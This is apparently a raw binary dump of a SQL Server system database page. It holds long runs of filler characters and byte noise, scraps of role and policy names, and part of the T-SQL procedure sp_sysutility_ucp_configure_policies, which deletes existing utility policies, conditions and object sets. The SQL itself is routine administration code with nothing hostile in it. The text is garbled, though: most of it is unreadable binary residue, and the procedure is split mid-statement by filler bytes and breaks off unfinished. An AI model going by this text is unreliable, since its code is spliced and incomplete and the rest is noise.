!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<.O~D	0<@$M	?%I=%I=%I=

$A`A$A?@h6c3P0??3db_accessadmin0??9db_backupoperator0??1db_datareader0??1db_datawriter0??-db_ddladmin0??9db_denydatareader0??9db_denydatawriter0??'db_owner0??7db_securityadmin0??dbo0???;INFORMATION_SCHEMA0??%PRIMARY0??sys

((?db_accessadmindatareaderwriterenydatareaderownerguestPRIMARYsys@@%++05<0<@$Z?ى=@A@@Wn@????????@???@??@?@?@???	@0<@$4\?@A@:px%A???FG((@0<A"0<C"0<C"0<C"0<D"0<E$	?@?@??0<E$	???@??@/((0<E$	??B?B@?0??7AutoCreatedLocal((AutoCreatedLocal@0<G"0<H"0<I"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!rP5



_
=
5`,<7O~Em0<< "0<>"0<?"0<@$	?%I=@`A?@8$??PA?20<<$E\l?:@`D@)1+BYp(?Vm%<Sj	"	9	P	g	~						

6
M
d
{





3Jax0G^u
-
D
[
r






*AXo'>Ul
$;Ri
!8Of}5Lcz2I`w/F]t,CZq@?@@@?@@@@@@?@??@@@@@@?"A?)@@ @,@??.@@?1@?2@@@6@@UU?:@??<@@?@@@@UU?E@@@?J@?K?@@?P@@@@?V@@UU?[@@@?^@@@@@@`@@@b?@@?
@@?w!?@?7?PA?"?@@?E?@?@@@?ǎ?@@?O@@?b?@?@@?9K?@@?iM@@?	c	?@@?r
@@?
@@?\?@?p@@@?/
?@@?A
@@?P"@@?_<M@@??"U?@@?nV@@@?@@?@@@?mR?@?@A@@?x.P?@?H?A?#,?@??PA?Pi?@?
^@@?'@@?A?PA?ԏ?@?R@@A?]!?@@?+"?PA?`I#?@@?]($?@?*i$?@@?q%?@@?%?@?5&@@@?Dڎ'?@?")?@?p+@@@?,?@@?p-@@?.@@?.@@?/@@?T:0?@@?9Jm1@@?&m1?@@?}v2@@?_2?0A?}^4@@?4@@?q5@@?6?@@?#&7?@?QO8@@UU?Ff8@@?9@@@?':?@@?;?@?<@@?T<@@A?I>?@@?Y1??@?}:@@@?.A@@@?wB@@UU?(C@@@?aD@@?AD?@?eE?@@?IqF@@?F?@@?G?@?H?@@?HI?@@?J@@? 
K@@@?)?K@A?nJM@@@?N?@@?eN?@@?J2O?@@?˜O?@@?&P?@@?P@@?eQ?@@?Q?@@?2$R@@A?.HS?@@?`MS?@@?{T?@@?aT@@?T?@@?c5U@@@?HU@@@@?)V@@@?ݳV@@?W?@@?2X?@?;{Y?@?_oZ?@?J~[?@?Y[?@?\@@@@@+\@@@?ր]?@@?]?@?^?@@?#I_@@A?vM`?@@a`@@?Ha@@?Eb@A?ȃc?@?Bd@ A?e@@?&Kf?@?tOg?@?sh@@@?i?@?i@@@?Pj?@?k?@UU?gk?PA?Mm?@?<qn?@?uo?@?^p?@?gq?@?{r@@?ps?@?1/t?@?V#u?@?Azv?0Aq?@w?@?vIx?@?[x?@?y?@UU?.gz?@ @3z?@?CF{?@?0b{@@@?ro|?@?}?@?̴~?@UU?Č~@@@?K?@@???>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~<#^I#G0<
$[? A?A+3 ??R{ώNdn0<\ "0<\ "0</
 "0<P" "0<P" "0<_<M "0<_<M "0<_<M "0<"U "0<"U "0<"U$Z>HAAHA'/ =j0??DB20??-MSSQLSERVER0@?#ORACLE0??#SYBASE((DB2MSSQLSERVERORACLESYBASE@0<Z "0<e! "0< "0<$XZ?@A?@A+ks0??#bigint((bigint@0<$YZ?@?@'??0< "0< "0<mR$y\?@?@'??0<mR "0<mR$z\?@?@'??0<$ "0<x.P$Z?@?@'??0<mR${\??B?B@#0??{AlwaysOnAgReplicasConnectionHealthPolicy_ObjectSet((2AlwaysOnAgReplicasConnectionHealthPolicy_ObjectSet@20<P"$c\>>BAB@T@Q;0??OAvailability database errors0??SAvailability database warnings0??oAvailability group errors (any replica role)0??wAvailability group errors (primary replica only)0??sAvailability group warnings (any replica role)0??{Availability group warnings (primary replica only)0??MAvailability replica errors0??QAvailability replica warnings((Availability database errorswarningsgroup errors (any replica role)primary replica only)warnings (any replica role)replica errors@@
	
$*2C@
XbC@s{!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,
[
h
F
rP.oM+	_=`<(N8(
v+CREATE PROCEDURE [dbo].[sp_sysutility_ucp_configure_policies]
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @condition_id INT
    DECLARE @object_set_id INT
    DECLARE @target_set_id INT
    DECLARE @policy_id INT
    DECLARE @computer_urn NVARCHAR(4000)
    DECLARE @dac_urn NVARCHAR(4000)
    DECLARE @server_urn NVARCHAR(4000)
    DECLARE @start DATETIME

    SELECT @start = getdate()

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- Delete existing Policies, Conditions, objectSets and Schedule
    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityComputerProcessorOverUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityComputerProcessorOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityComputerProcessorOverUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityComputerProcessorOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityComputerProcessorOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityComputerProcessorOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityComputerProcessorOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityComputerProcessorOverUtilizationCondition'
    END

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityComputerProcessorOverUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorOverUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityComputerProcessorOverUtilizationTargetCondition'
    END

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityComputerProcessorUnderUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityComputerProcessorUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityComputerProcessorUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityComputerProcessorUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityComputerProcessorUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityComputerProcessorUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityComputerProcessorUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityComputerProcessorUnderUtilizationCondition'
    END   

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityComputerProcessorUnderUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorUnderUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityComputerProcessorUnderUtilizationTargetCondition'
    END   

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityDacDataFileSpaceOverUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacDataFileSpaceOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityDacDataFileSpaceOverUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityDacDataFileSpaceOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacDataFileSpaceOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityDacDataFileSpaceOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacDataFileSpaceOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacDataFileSpaceOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacDataFileSpaceOverUtilizationCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacDataFileSpaceUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacDataFileSpaceUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacDataFileSpaceUnderUtilizationCondition'
    END   

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityDacLogFileSpaceOverUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacLogFileSpaceOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityDacLogFileSpaceOverUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityDacLogFileSpaceOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacLogFileSpaceOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityDacLogFileSpaceOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacLogFileSpaceOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacLogFileSpaceOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacLogFileSpaceOverUtilizationCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy')
    BEGIN
        EXEC m!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N;|v+sdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacLogFileSpaceUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacLogFileSpaceUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacLogFileSpaceUnderUtilizationCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityServerDataFileSpaceOverUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerDataFileSpaceOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityServerDataFileSpaceOverUtilizationPolicy'
    END    

